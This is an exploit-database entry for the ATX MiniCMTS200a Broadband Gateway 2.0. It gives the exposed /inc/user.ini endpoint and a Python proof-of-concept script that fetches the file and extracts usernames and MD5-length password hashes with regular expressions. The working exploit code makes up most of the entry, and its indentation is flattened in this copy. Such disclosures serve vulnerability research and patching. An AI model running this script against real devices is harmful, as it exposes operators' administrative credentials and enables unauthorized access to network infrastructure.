ATX MiniCMTS200a Broadband Gateway 2.0 – Credential Disclosure Exploit

Date: 2020-11-30

CVE: N/A

Platform: WIN

# Exploit Title: ATX MiniCMTS200a Broadband Gateway 2.0 - Credential Disclosure
# Exploit Author: Zagros Bingol
# Vendor Homepage: http://www.atx.com
# Software Link: https://atx.com/products/commercial-services-gateways/minicmts200a-broadband-gateway/
# Version: 2.0 and earlier
# Tested on: Debian 10 64bit

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Endpoint:
http://www.ip/domain.com/inc/user.ini

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Proof-of-Concept:

#!/usr/bin/python3
#License: GNU General Public license v3.0
#Author: Zagros Bingol(Zagrosbingol@outlook.com)


import requests
import re

target = input("Target(ex:http://host): \n")
port = input("Port: \n")


def sploit(target, port):
print("ATX/PicoDigital MiniCMTS200a Broadband Gateway v2.0 -
Credential Disclosure\n")
r = requests.post(target + ":" + port + '/inc/user.ini')
searching = re.findall(r"\[.{1,8}\]", str(r.text))
print("Usernames:\n")
print(", ".join(searching).replace("[", "").replace("]", ""))

def hash():
r = requests.post(target + '/inc/user.ini')
searching = re.findall(r"([a-fA-F\d]{32})", str(r.text))
print("Hashes:\n")
print(", ".join(searching).replace("[", "").replace("]", ""))
hash()

sploit(target, port)